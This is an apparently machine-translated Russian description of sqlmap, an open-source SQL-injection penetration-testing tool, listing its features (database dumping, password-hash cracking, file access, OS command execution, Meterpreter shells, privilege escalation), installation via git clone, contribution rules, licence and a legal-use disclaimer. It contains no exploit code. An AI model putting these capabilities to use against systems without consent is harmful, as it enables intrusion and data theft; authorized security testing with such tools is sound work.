sqlmap — это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и использования недостатков SQL-инъекций и захвата серверов баз данных. Он поставляется с мощным механизмом обнаружения, множеством нишевых функций для окончательного тестера на проникновение и широким спектром переключателей, от снятия отпечатков с базы данных до выборки данных из базы данных до доступа к базовой файловой системе и выполнения команд в операционной системе через выход внеполосные соединения.
Проект sqlmap в настоящее время ищет спонсора (-ов)
- Полная поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, h3, MonetDB, Apache Derby, Системы управления базами данных Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB и FrontBase .
- Полная поддержка шести методов SQL-инъекций: слепых на основе логических значений, слепых на основе времени, на основе ошибок, на основе запросов UNION, сложенных запросов и внеполосных .
- Поддержка прямого подключения к базе данных без прохождения SQL-инъекции путем предоставления учетных данных СУБД, IP-адреса, порта и имени базы данных.
- Поддержка перечисления пользователей, хэшей паролей, привилегий, ролей, баз данных, таблиц и столбцов .
- Автоматическое распознавание форматов хэшей паролей и поддержка взлома их с помощью атаки по словарю .
- Поддержка дампа таблиц базы данных целиком, диапазон записей или определенных столбцов по выбору пользователя. Пользователь также может выбрать выгрузку только диапазона символов из каждой записи столбца.
- Поддержка поиска определенных имен баз данных, определенных таблиц во всех базах данных или определенных столбцов во всех таблицах баз данных . Это полезно, например, для идентификации таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат такие строки, как имя и пароль.
- Поддержка загрузки и выгрузки любого файла из базовой файловой системы сервера базы данных, когда программное обеспечение базы данных — MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка для выполнения произвольных команд и получения их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программное обеспечение базы данных — MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка устанавливает внеполосное TCP-соединение с отслеживанием состояния между атакующим компьютером и сервером базы данных , лежащим в основе операционной системы.Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического пользовательского интерфейса (VNC) по выбору пользователя.
- Поддержка повышения привилегий пользователя процесса базы данных с помощью команды Metasploit Meterpreter
getsystem
.
Подробную информацию о функциях см. В вики.
Вы можете скачать последнюю версию zipball или tarball.
Желательно загрузить sqlmap путем клонирования репозитория Git:
git clone --depth 1 https: // github.com / sqlmapproject / sqlmap.git sqlmap-dev
Посмотреть другие демонстрации можно здесь.
Мы очень ценим все вклады в код. Во-первых, клонируйте репозиторий Git, внимательно прочтите руководство пользователя, просмотрите код самостоятельно и отправьте нам электронное письмо, если вам трудно понять его структуру и значение.
Сообщения об ошибках приветствуются ! Пожалуйста, сообщайте обо всех ошибках в системе отслеживания проблем. Наш предпочтительный метод отправки патча — запрос Git pull.
Каждый патч должен вносить одно логическое изменение. Пожалуйста, следуйте существующим стилистическим соглашениям: по возможности переносите код в 76 столбцов. Избегайте табуляции, используйте вместо них четыре пробела. Прежде чем вкладывать время в нетривиальный патч, стоит обсудить его в частном порядке по электронной почте.
Многие люди по-разному внесли свой вклад в разработку sqlmap. Вы можете стать следующим!
sqlmap — результат многих часов увлеченной работы небольшой команды энтузиастов компьютерной безопасности.Если вы оценили нашу работу и хотите, чтобы sqlmap продолжала развиваться, рассмотрите возможность внесения пожертвования на наши усилия через PayPal на адрес [email protected]
. Мы также принимаем житкойны на номер 1AUrrKYsamBEThdruYTQmUfMfLF7aaxU6x
.
Авторские права © 2006-2020 Бернардо Дамеле Ассумпкао Гимарайнш и Мирослав Стампар. Все права защищены.
Это бесплатное программное обеспечение; вы можете распространять и / или изменять его в соответствии с условиями Стандартной общественной лицензии GNU, опубликованной Free Software Foundation; Версия 2 (или более поздняя) с уточнениями и исключениями, описанными в файле лицензии.Это гарантирует ваше право использовать, изменять и распространять это программное обеспечение при определенных условиях. Если вы хотите встроить технологию sqlmap в проприетарное программное обеспечение, мы продаем альтернативные лицензии.
(свяжитесь с [email protected]).
Эта программа распространяется в надежде, что она будет полезной, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемых гарантий ТОВАРНОЙ ПРИГОДНОСТИ или ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ. См. Стандартную общественную лицензию GNU v2.0 для получения дополнительных сведений по адресу http://www.gnu.org/licenses/gpl-2.0.html.
Использование sqlmap для атаки целей без предварительного взаимного согласия является незаконным. Конечный пользователь несет ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой.
Вы можете связаться с командой разработчиков, написав на [email protected]
.
.